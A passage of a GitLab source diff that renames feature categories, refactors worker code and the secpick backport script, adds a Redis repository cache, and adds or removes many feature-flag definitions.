return unless schedule && schedule.project && user
+ if Feature.enabled?(:ci_use_run_pipeline_schedule_worker)
+ return if schedule.next_run_at > Time.current
+
+ update_next_run_at_for(schedule)
+ end
+
run_pipeline_schedule(schedule, user)
end
@@ -37,6 +43,12 @@ class RunPipelineScheduleWorker # rubocop:disable Scalability/IdempotentWorker
private
+ def update_next_run_at_for(schedule)
+ # Ensure `next_run_at` is set properly before creating a pipeline.
+ # Otherwise, multiple pipelines could be created in a short interval.
+ schedule.schedule_next_run!
+ end
+
def error(schedule, error)
failed_creation_counter.increment
log_error(schedule, error)
diff --git a/app/workers/schedule_merge_request_cleanup_refs_worker.rb b/app/workers/schedule_merge_request_cleanup_refs_worker.rb
index 8099c3d56b6..ced1f443ea6 100644
--- a/app/workers/schedule_merge_request_cleanup_refs_worker.rb
+++ b/app/workers/schedule_merge_request_cleanup_refs_worker.rb
@@ -7,7 +7,7 @@ class ScheduleMergeRequestCleanupRefsWorker
include CronjobQueue # rubocop:disable Scalability/CronWorkerContext
- feature_category :code_review
+ feature_category :code_review_workflow
idempotent!
def perform
diff --git a/app/workers/schedule_migrate_external_diffs_worker.rb b/app/workers/schedule_migrate_external_diffs_worker.rb
index b2dea5083b4..8f643cf7819 100644
--- a/app/workers/schedule_migrate_external_diffs_worker.rb
+++ b/app/workers/schedule_migrate_external_diffs_worker.rb
@@ -13,7 +13,7 @@ class ScheduleMigrateExternalDiffsWorker # rubocop:disable Scalability/Idempoten
include Gitlab::ExclusiveLeaseHelpers
- feature_category :code_review
+ feature_category :code_review_workflow
def perform
in_lock(self.class.name.underscore, ttl: 2.hours, retries: 0) do
diff --git a/app/workers/stuck_merge_jobs_worker.rb b/app/workers/stuck_merge_jobs_worker.rb
index 3a650fcb7bf..44f2d5ade58 100644
--- a/app/workers/stuck_merge_jobs_worker.rb
+++ b/app/workers/stuck_merge_jobs_worker.rb
@@ -7,7 +7,7 @@ class StuckMergeJobsWorker # rubocop:disable Scalability/IdempotentWorker
include CronjobQueue # rubocop:disable Scalability/CronWorkerContext
- feature_category :code_review
+ feature_category :code_review_workflow
def self.logger
Gitlab::AppLogger
diff --git a/app/workers/update_merge_requests_worker.rb b/app/workers/update_merge_requests_worker.rb
index eb69c0eaba6..caf46c1ac4e 100644
--- a/app/workers/update_merge_requests_worker.rb
+++ b/app/workers/update_merge_requests_worker.rb
@@ -7,7 +7,7 @@ class UpdateMergeRequestsWorker # rubocop:disable Scalability/IdempotentWorker
sidekiq_options retry: 3
- feature_category :code_review
+ feature_category :code_review_workflow
urgency :high
worker_resource_boundary :cpu
weight 3
diff --git a/app/workers/wait_for_cluster_creation_worker.rb b/app/workers/wait_for_cluster_creation_worker.rb
index af351c3c207..a34f5386363 100644
--- a/app/workers/wait_for_cluster_creation_worker.rb
+++ b/app/workers/wait_for_cluster_creation_worker.rb
@@ -1,6 +1,6 @@
# frozen_string_literal: true
-class WaitForClusterCreationWorker # rubocop:disable Scalability/IdempotentWorker
+class WaitForClusterCreationWorker
include ApplicationWorker
data_consistency :always
@@ -8,17 +8,7 @@ class WaitForClusterCreationWorker # rubocop:disable Scalability/IdempotentWorke
sidekiq_options retry: 3
include ClusterQueue
- worker_has_external_dependencies!
+ idempotent!
- def perform(cluster_id)
- Clusters::Cluster.find_by_id(cluster_id).try do |cluster|
- cluster.provider.try do |provider|
- if cluster.gcp?
- Clusters::Gcp::VerifyProvisionStatusService.new.execute(provider)
- elsif cluster.aws?
- Clusters::Aws::VerifyProvisionStatusService.new.execute(provider)
- end
- end
- end
- end
+ def perform(_); end
end
diff --git a/app/workers/wikis/git_garbage_collect_worker.rb b/app/workers/wikis/git_garbage_collect_worker.rb
index 977493834c9..ab702653989 100644
--- a/app/workers/wikis/git_garbage_collect_worker.rb
+++ b/app/workers/wikis/git_garbage_collect_worker.rb
@@ -7,12 +7,6 @@ module Wikis
private
- # Used for getting a project/group out of the resource in order to scope a feature flag
- # Can be removed within https://gitlab.com/gitlab-org/gitlab/-/issues/353607
- def container(resource)
- resource.container
- end
-
override :find_resource
def find_resource(id)
Project.find(id).wiki
diff --git a/bin/secpick b/bin/secpick
index 2512175a0e0..10b3ebae68a 100755
--- a/bin/secpick
+++ b/bin/secpick
@@ -36,11 +36,13 @@ module Secpick
end
def git_commands
- ["git fetch #{@options[:remote]} #{stable_branch}",
- "git checkout -B #{source_branch} #{@options[:remote]}/#{stable_branch} --no-track",
- "git cherry-pick #{@options[:sha]}",
- "git push #{@options[:remote]} #{source_branch} --no-verify",
- "git checkout #{@options[:branch]}"]
+ [
+ fetch_stable_branch,
+ create_backport_branch,
+ cherry_pick_commit,
+ push_to_remote,
+ checkout_original_branch
+ ]
end
def gitlab_params
@@ -62,8 +64,10 @@ module Secpick
puts "\nGit commands:".blue
puts git_commands.join("\n")
- puts "\nMerge request URL:".blue
- puts new_mr_url
+ if !@options[:merge_request]
+ puts "\nMerge request URL:".blue
+ puts new_mr_url
+ end
puts "\nMerge request params:".blue
pp gitlab_params
@@ -74,7 +78,7 @@ module Secpick
puts stdout.read&.green
puts stderr.read&.red
- if wait_thr.value.success?
+ if wait_thr.value.success? && !@options[:merge_request]
puts "#{new_mr_url}?#{gitlab_params.to_query}".blue
end
@@ -85,7 +89,7 @@ module Secpick
end
def self.options
- { version: nil, branch: nil, sha: nil }.tap do |options|
+ { version: nil, branch: nil, sha: nil, merge_request: false }.tap do |options|
parser = OptionParser.new do |opts|
opts.banner = "Usage: #{$0} [options]"
opts.on('-v', '--version 10.0', 'Version') do |version|
@@ -104,6 +108,10 @@ module Secpick
options[:remote] = remote
end
+ opts.on('--mr', '--merge-request', 'Create relevant security Merge Request targeting the stable branch') do
+ options[:merge_request] = true
+ end
+
opts.on('-d', '--dry-run', 'Only show Git commands, without calling them') do
options[:try] = true
end
@@ -129,6 +137,45 @@ module Secpick
abort("Wrong version format #{options[:version].bold}".red) unless options[:version] =~ /\A\d*\-\d*\Z/
end
end
+
+ private
+
+ def checkout_original_branch
+ "git checkout #{@options[:branch]}"
+ end
+
+ def push_to_remote
+ [
+ "git push #{@options[:remote]} #{source_branch} --no-verify",
+ *merge_request_push_options
+ ].join(' ')
+ end
+
+ def merge_request_push_options
+ return [] unless @options[:merge_request]
+
+ [
+ "-o mr.create",
+ "-o mr.target='#{stable_branch}'",
+ "-o mr.description='Please apply Security Release template. /milestone %#{milestone}'"
+ ]
+ end
+
+ def cherry_pick_commit
+ "git cherry-pick #{@options[:sha]}"
+ end
+
+ def create_backport_branch
+ "git checkout -B #{source_branch} #{@options[:remote]}/#{stable_branch} --no-track"
+ end
+
+ def fetch_stable_branch
+ "git fetch #{@options[:remote]} #{stable_branch}"
+ end
+
+ def milestone
+ @options[:version].gsub('-', '.')
+ end
end
end
diff --git a/config/README.md b/config/README.md
index f04758fcaeb..861cda5a5b6 100644
--- a/config/README.md
+++ b/config/README.md
@@ -71,14 +71,15 @@ environment variable.
An example configuration file for Redis is in this directory under the name
`resque.yml.example`.
-| Name | Fallback instance | Purpose |
-| --- | --- | --- |
-| `cache` | | Volatile non-persistent data |
-| `queues` | | Background job processing queues |
-| `shared_state` | | Persistent application state |
-| `trace_chunks` | `shared_state` | [CI trace chunks](https://docs.gitlab.com/ee/administration/job_logs.html#incremental-logging-architecture) |
-| `rate_limiting` | `cache` | [Rate limiting](https://docs.gitlab.com/ee/user/admin_area/settings/user_and_ip_rate_limits.html) state |
-| `sessions` | `shared_state` | [Sessions](https://docs.gitlab.com/ee/development/session.html#redis)|
+| Name | Fallback instance | Purpose |
+|--------------------|-------------------|-------------------------------------------------------------------------------------------------------------|
+| `cache` | | Volatile non-persistent data |
+| `queues` | | Background job processing queues |
+| `shared_state` | | Persistent application state |
+| `trace_chunks` | `shared_state` | [CI trace chunks](https://docs.gitlab.com/ee/administration/job_logs.html#incremental-logging-architecture) |
+| `rate_limiting` | `cache` | [Rate limiting](https://docs.gitlab.com/ee/user/admin_area/settings/user_and_ip_rate_limits.html) state |
+| `sessions` | `shared_state` | [Sessions](https://docs.gitlab.com/ee/development/session.html#redis) |
+| `repository_cache` | `cache` | Repository related information |
If no configuration is found, or no URL is found in the configuration
file, the default URL used is:
diff --git a/config/application.rb b/config/application.rb
index a3fe4935fdf..61dfa59a90d 100644
--- a/config/application.rb
+++ b/config/application.rb
@@ -59,6 +59,7 @@ module Gitlab
require_dependency Rails.root.join('lib/gitlab/redis/trace_chunks')
require_dependency Rails.root.join('lib/gitlab/redis/rate_limiting')
require_dependency Rails.root.join('lib/gitlab/redis/sessions')
+ require_dependency Rails.root.join('lib/gitlab/redis/repository_cache')
require_dependency Rails.root.join('lib/gitlab/current_settings')
require_dependency Rails.root.join('lib/gitlab/middleware/read_only')
require_dependency Rails.root.join('lib/gitlab/middleware/compressed_json')
@@ -595,6 +596,29 @@ module Gitlab
Gitlab::Color, # https://gitlab.com/gitlab-org/gitlab/-/issues/368844,
Hashie::Array # https://gitlab.com/gitlab-org/gitlab/-/issues/378089
]
+ #
+ # Restore setting the YAML permitted classes for ActiveRecord
+ #
+ # In [94d81c3c39e3ddc441c3af3f874e53b197cf3f54][0] rails upstream removed
+ # the code that copied the values of
+ # config.active_record.yaml_column_permitted_classes to
+ # ActiveRecord.yaml_column_permitted_classes during the
+ # config.after_initialize stage.
+ #
+ # We can not move the setting of
+ # config.active_record.yaml_column_permitted_classes out of the
+ # after_initialize because then the gitlab classes are not loaded yet
+ #
+ # This change was also ported to the 6.1 branch and released in 6.1.7.
+ # Some distributions like Debian even [backported this change to
+ # 6.1.6.1][1].
+ #
+ # This restores the code needed to have gitlab work in those cases.
+ #
+ # [0]: https://github.com/rails/rails/commit/94d81c3c39e3ddc441c3af3f874e53b197cf3f54
+ # [1]: https://salsa.debian.org/ruby-team/rails/-/commit/5663e598b41dc4e2058db22e1ee0d678e5c483ba
+ #
+ ActiveRecord::Base.yaml_column_permitted_classes = config.active_record.yaml_column_permitted_classes
# on_master_start yields immediately in unclustered environments and runs
# when the primary process is done initializing otherwise.
diff --git a/config/database.yml.decomposed-postgresql b/config/database.yml.decomposed-postgresql
index 04add959ad4..3348c8cb277 100644
--- a/config/database.yml.decomposed-postgresql
+++ b/config/database.yml.decomposed-postgresql
@@ -9,6 +9,15 @@ production:
username: git
password: "secure password"
host: localhost
+ # load_balancing:
+ # hosts:
+ # - host1.example.com
+ # - host2.example.com
+ # discover:
+ # nameserver: 1.2.3.4
+ # port: 8600
+ # record: secondary.postgresql.service.consul
+ # interval: 300
ci:
adapter: postgresql
encoding: unicode
@@ -16,6 +25,15 @@ production:
username: git
password: "secure password"
host: localhost
+ # load_balancing:
+ # hosts:
+ # - host1.example.com
+ # - host2.example.com
+ # discover:
+ # nameserver: 1.2.3.4
+ # port: 8600
+ # record: secondary-ci.postgresql.service.consul
+ # interval: 300
geo:
adapter: postgresql
encoding: unicode
diff --git a/config/feature_categories.yml b/config/feature_categories.yml
index ae2eb043fdd..4282fa32a1b 100644
--- a/config/feature_categories.yml
+++ b/config/feature_categories.yml
@@ -9,6 +9,7 @@
---
- advanced_deployments
- advisory_database
+- api
- api_security
- application_instrumentation
- application_performance
@@ -20,11 +21,10 @@
- billing_and_payments
- build
- build_artifacts
-- chatops
- cloud_native_installation
- cluster_cost_management
- code_quality
-- code_review
+- code_review_workflow
- code_search
- code_suggestions
- code_testing
@@ -34,7 +34,6 @@
- container_scanning
- continuous_delivery
- continuous_integration
-- continuous_integration_scaling
- continuous_verification
- credential_management
- customersdot_application
@@ -53,7 +52,6 @@
- disaster_recovery
- dora_metrics
- dynamic_application_security_testing
-- editor_extension
- environment_management
- error_budgets
- error_tracking
@@ -64,12 +62,11 @@
- feature_flags
- five_minute_production_app
- fulfillment_admin_tooling
-- fulfillment_developer_productivity
- fulfillment_infrastructure
- fuzz_testing
- geo_replication
-- git_lfs
- gitaly
+- gitlab_cli
- global_search
- helm_chart_registry
- importers
@@ -82,7 +79,6 @@
- intel_code_security
- interactive_application_security_testing
- internationalization
-- jenkins_importer
- kubernetes_management
- license_compliance
- logging
@@ -141,5 +137,6 @@
- value_stream_management
- vulnerability_management
- web_ide
+- webhooks
- wiki
- workflow_automation
diff --git a/config/feature_flags/development/achievements.yml b/config/feature_flags/development/achievements.yml
new file mode 100644
index 00000000000..853a8133351
--- /dev/null
+++ b/config/feature_flags/development/achievements.yml
@@ -0,0 +1,8 @@
+---
+name: achievements
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/106909
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/386817
+milestone: '15.8'
+type: development
+group: group::organization
+default_enabled: false
diff --git a/config/feature_flags/development/admin_emails_vue.yml b/config/feature_flags/development/admin_emails_vue.yml
new file mode 100644
index 00000000000..63fe56e089f
--- /dev/null
+++ b/config/feature_flags/development/admin_emails_vue.yml
@@ -0,0 +1,8 @@
+---
+name: admin_emails_vue
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/106358
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/386976
+milestone: '15.8'
+type: development
+group: group::workspace
+default_enabled: false
diff --git a/config/feature_flags/development/apple_app_store_integration.yml b/config/feature_flags/development/apple_app_store_integration.yml
new file mode 100644
index 00000000000..ec55f1ef932
--- /dev/null
+++ b/config/feature_flags/development/apple_app_store_integration.yml
@@ -0,0 +1,8 @@
+---
+name: apple_app_store_integration
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/104888
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/385335
+milestone: '15.8'
+type: development
+group: group::incubation
+default_enabled: false
diff --git a/config/feature_flags/development/bulk_import.yml b/config/feature_flags/development/bulk_import.yml
deleted file mode 100644
index 5a654b3f6d9..00000000000
--- a/config/feature_flags/development/bulk_import.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: bulk_import
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/42704
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/255310
-milestone: '13.5'
-type: development
-group: group::import
-default_enabled: true
diff --git a/config/feature_flags/development/bulk_update_membership_roles.yml b/config/feature_flags/development/bulk_update_membership_roles.yml
deleted file mode 100644
index 701f72db3e1..00000000000
--- a/config/feature_flags/development/bulk_update_membership_roles.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: bulk_update_membership_roles
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/96745
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/373257
-milestone: '15.6'
-type: development
-group: group::workspace
-default_enabled: false
diff --git a/config/feature_flags/development/cache_project_integrations.yml b/config/feature_flags/development/cache_project_integrations.yml
deleted file mode 100644
index 3bb652d4b51..00000000000
--- a/config/feature_flags/development/cache_project_integrations.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: cache_project_integrations
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/104062
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/384004
-milestone: '15.7'
-type: development
-group: group::pipeline execution
-default_enabled: false
diff --git a/config/feature_flags/development/ci_bridge_remove_sourced_pipelines.yml b/config/feature_flags/development/ci_bridge_remove_sourced_pipelines.yml
deleted file mode 100644
index 503e676d4ab..00000000000
--- a/config/feature_flags/development/ci_bridge_remove_sourced_pipelines.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_bridge_remove_sourced_pipelines
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/105708
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/384359
-milestone: '15.7'
-type: development
-group: group::pipeline authoring
-default_enabled: false
diff --git a/config/feature_flags/development/ci_build_partition_id_token_prefix.yml b/config/feature_flags/development/ci_build_partition_id_token_prefix.yml
deleted file mode 100644
index 5b3cd22a489..00000000000
--- a/config/feature_flags/development/ci_build_partition_id_token_prefix.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_build_partition_id_token_prefix
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/106179
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/385401
-milestone: '15.7'
-type: development
-group: group::pipeline execution
-default_enabled: false
diff --git a/config/feature_flags/development/ci_pipeline_triggers_settings_vue_ui.yml b/config/feature_flags/development/ci_pipeline_triggers_settings_vue_ui.yml
deleted file mode 100644
index 8b880772d78..00000000000
--- a/config/feature_flags/development/ci_pipeline_triggers_settings_vue_ui.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_pipeline_triggers_settings_vue_ui
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41864
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/247486
-milestone: '13.5'
-type: development
-group: group::pipeline execution
-default_enabled: false
diff --git a/config/feature_flags/development/ci_raw_variables_in_yaml_config.yml b/config/feature_flags/development/ci_raw_variables_in_yaml_config.yml
deleted file mode 100644
index 0b6fc6022f4..00000000000
--- a/config/feature_flags/development/ci_raw_variables_in_yaml_config.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_raw_variables_in_yaml_config
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/98420
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/375034
-milestone: '15.6'
-type: development
-group: group::pipeline authoring
-default_enabled: true
diff --git a/config/feature_flags/development/ci_refactoring_external_mapper.yml b/config/feature_flags/development/ci_refactoring_external_mapper.yml
deleted file mode 100644
index 22933d253d4..00000000000
--- a/config/feature_flags/development/ci_refactoring_external_mapper.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_refactoring_external_mapper
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/106408
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/385179
-milestone: '15.7'
-type: development
-group: group::pipeline authoring
-default_enabled: false
diff --git a/config/feature_flags/development/ci_use_run_pipeline_schedule_worker.yml b/config/feature_flags/development/ci_use_run_pipeline_schedule_worker.yml
new file mode 100644
index 00000000000..27ab6e221a3
--- /dev/null
+++ b/config/feature_flags/development/ci_use_run_pipeline_schedule_worker.yml
@@ -0,0 +1,8 @@
+---
+name: ci_use_run_pipeline_schedule_worker
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/106661
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/378361
+milestone: '15.8'
+type: development
+group: group::pipeline execution
+default_enabled: false
diff --git a/config/feature_flags/development/commit_search_trailing_spaces.yml b/config/feature_flags/development/commit_search_trailing_spaces.yml
new file mode 100644
index 00000000000..b4d2f911620
--- /dev/null
+++ b/config/feature_flags/development/commit_search_trailing_spaces.yml
@@ -0,0 +1,8 @@
+---
+name: commit_search_trailing_spaces
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107956
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/386825
+milestone: '15.8'
+type: development
+group: group::source code
+default_enabled: true
diff --git a/config/feature_flags/development/critical_security_alert.yml b/config/feature_flags/development/critical_security_alert.yml
new file mode 100644
index 00000000000..6bb5100efc8
--- /dev/null
+++ b/config/feature_flags/development/critical_security_alert.yml
@@ -0,0 +1,8 @@
+---
+name: critical_security_alert
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108732
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/387719
+milestone: '15.8'
+type: development
+group: group::distribution
+default_enabled: false
diff --git a/config/feature_flags/development/delay_for_repository_update_mirror.yml b/config/feature_flags/development/delay_for_repository_update_mirror.yml
deleted file mode 100644
index c736036beb5..00000000000
--- a/config/feature_flags/development/delay_for_repository_update_mirror.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: delay_for_repository_update_mirror
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/90749
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/365948
-milestone: '15.2'
-type: development
-group: group::source code
-default_enabled: false
diff --git a/config/feature_flags/development/dispensable_render.yml b/config/feature_flags/development/dispensable_render.yml
deleted file mode 100644
index 6f1689b325a..00000000000
--- a/config/feature_flags/development/dispensable_render.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: dispensable_render
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/81546
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/354337
-milestone: '14.9'
-type: development
-group: group::activation
-default_enabled: true
diff --git a/config/feature_flags/development/display_merge_conflicts_in_diff.yml b/config/feature_flags/development/display_merge_conflicts_in_diff.yml
deleted file mode 100644
index 71146d9236b..00000000000
--- a/config/feature_flags/development/display_merge_conflicts_in_diff.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: display_merge_conflicts_in_diff
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45008
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/276918
-milestone: '13.5'
-type: development
-group: group::code review
-default_enabled: true
diff --git a/config/feature_flags/development/environment_search_api_min_chars.yml b/config/feature_flags/development/environment_search_api_min_chars.yml
new file mode 100644
index 00000000000..2d719a41cd0
--- /dev/null
+++ b/config/feature_flags/development/environment_search_api_min_chars.yml
@@ -0,0 +1,8 @@
+---
+name: environment_search_api_min_chars
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108277
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/387244
+milestone: '15.8'
+type: development
+group: group::release
+default_enabled: false
diff --git a/config/feature_flags/development/environments_search_logging.yml b/config/feature_flags/development/environments_search_logging.yml
new file mode 100644
index 00000000000..76f6c78154b
--- /dev/null
+++ b/config/feature_flags/development/environments_search_logging.yml
@@ -0,0 +1,8 @@
+---
+name: environments_search_logging
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107866
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/386778
+milestone: '15.8'
+type: development
+group: group::release
+default_enabled: false
diff --git a/config/feature_flags/development/file_line_blame.yml b/config/feature_flags/development/file_line_blame.yml
index 1be6aeee40a..f763d436041 100644
--- a/config/feature_flags/development/file_line_blame.yml
+++ b/config/feature_flags/development/file_line_blame.yml
@@ -1,7 +1,7 @@
---
name: file_line_blame
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/92538
-rollout_issue_url:
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/370818
milestone: '15.3'
type: development
group: group::source code
diff --git a/config/feature_flags/development/github_import_gists.yml b/config/feature_flags/development/github_import_gists.yml
new file mode 100644
index 00000000000..8e6e5825362
--- /dev/null
+++ b/config/feature_flags/development/github_import_gists.yml
@@ -0,0 +1,8 @@
+---
+name: github_import_gists
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107651
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/386579
+milestone: '15.8'
+type: development
+group: group::import
+default_enabled: false
diff --git a/config/feature_flags/development/group_export_ndjson.yml b/config/feature_flags/development/group_export_ndjson.yml
deleted file mode 100644
index 0f6cc863022..00000000000
--- a/config/feature_flags/development/group_export_ndjson.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: group_export_ndjson
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29590
-rollout_issue_url:
-milestone: '13.0'
-type: development
-group: group::import
-default_enabled: true
diff --git a/config/feature_flags/development/group_import_ndjson.yml b/config/feature_flags/development/group_import_ndjson.yml
deleted file mode 100644
index a84df7e0074..00000000000
--- a/config/feature_flags/development/group_import_ndjson.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: group_import_ndjson
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29716
-rollout_issue_url:
-milestone: '13.0'
-type: development
-group: group::import
-default_enabled: true
diff --git a/config/feature_flags/development/hide_merge_requests_from_banned_users.yml b/config/feature_flags/development/hide_merge_requests_from_banned_users.yml
new file mode 100644
index 00000000000..6ba0bc24196
--- /dev/null
+++ b/config/feature_flags/development/hide_merge_requests_from_banned_users.yml
@@ -0,0 +1,8 @@
+---
+name: hide_merge_requests_from_banned_users
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107836
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/386726
+milestone: "15.8"
+type: development
+group: group::anti-abuse
+default_enabled: false
diff --git a/config/feature_flags/development/incident_event_tags.yml b/config/feature_flags/development/incident_event_tags.yml
new file mode 100644
index 00000000000..68101b21569
--- /dev/null
+++ b/config/feature_flags/development/incident_event_tags.yml
@@ -0,0 +1,8 @@
+---
+name: incident_event_tags
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107194
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/387647
+milestone: '15.8'
+type: development
+group: group::respond
+default_enabled: false
diff --git a/config/feature_flags/development/issue_type_uses_work_item_types_table.yml b/config/feature_flags/development/issue_type_uses_work_item_types_table.yml
new file mode 100644
index 00000000000..4ce66b7ab33
--- /dev/null
+++ b/config/feature_flags/development/issue_type_uses_work_item_types_table.yml
@@ -0,0 +1,8 @@
+---
+name: issue_type_uses_work_item_types_table
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107690
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/386603
+milestone: '15.8'
+type: development
+group: group::project management
+default_enabled: false
diff --git a/config/feature_flags/development/jira_connect_oauth_self_managed.yml b/config/feature_flags/development/jira_connect_oauth_self_managed.yml
index dd7a8b6cd29..02c4b9fa398 100644
--- a/config/feature_flags/development/jira_connect_oauth_self_managed.yml
+++ b/config/feature_flags/development/jira_connect_oauth_self_managed.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/359940
milestone: '15.0'
type: development
group: group::integrations
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/jobs_api_keyset_pagination.yml b/config/feature_flags/development/jobs_api_keyset_pagination.yml
new file mode 100644
index 00000000000..d97b324f97a
--- /dev/null
+++ b/config/feature_flags/development/jobs_api_keyset_pagination.yml
@@ -0,0 +1,8 @@
+---
+name: jobs_api_keyset_pagination
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107152
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/385940
+milestone: '15.8'
+type: development
+group: group::pipeline execution
+default_enabled: false
diff --git a/config/feature_flags/development/limit_assigned_issues_count.yml b/config/feature_flags/development/limit_assigned_issues_count.yml
deleted file mode 100644
index 7fb58220f26..00000000000
--- a/config/feature_flags/development/limit_assigned_issues_count.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: limit_assigned_issues_count
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/105759
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/384363
-milestone: '15.7'
-type: development
-group: group::project management
-default_enabled: false
diff --git a/config/feature_flags/development/markdown_dollar_math.yml b/config/feature_flags/development/markdown_dollar_math.yml
deleted file mode 100644
index 842837ea688..00000000000
--- a/config/feature_flags/development/markdown_dollar_math.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: markdown_dollar_math
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/94111
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/371180
-milestone: '15.4'
-type: development
-group: group::project management
-default_enabled: false
diff --git a/config/feature_flags/development/move_create_deployments_to_worker.yml b/config/feature_flags/development/move_create_deployments_to_worker.yml
new file mode 100644
index 00000000000..e428a7510de
--- /dev/null
+++ b/config/feature_flags/development/move_create_deployments_to_worker.yml
@@ -0,0 +1,8 @@
+---
+name: move_create_deployments_to_worker
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108042
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/386903
+milestone: '15.8'
+type: development
+group: group::pipeline execution
+default_enabled: false
diff --git a/config/feature_flags/development/new_fonts.yml b/config/feature_flags/development/new_fonts.yml
index 20bf283e704..43d22a34bc7 100644
--- a/config/feature_flags/development/new_fonts.yml
+++ b/config/feature_flags/development/new_fonts.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/379147
milestone: '15.7'
type: development
group: group::foundations
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/optimized_housekeeping.yml b/config/feature_flags/development/optimized_housekeeping.yml
deleted file mode 100644
index 478d5ee22e7..00000000000
--- a/config/feature_flags/development/optimized_housekeeping.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: optimized_housekeeping
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/81465
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/353607
-milestone: '14.9'
-type: development
-group: group::source code
-default_enabled: true
diff --git a/config/feature_flags/development/paginated_mr_discussions.yml b/config/feature_flags/development/paginated_mr_discussions.yml
deleted file mode 100644
index d72189d447b..00000000000
--- a/config/feature_flags/development/paginated_mr_discussions.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: paginated_mr_discussions
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/88905
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/364497
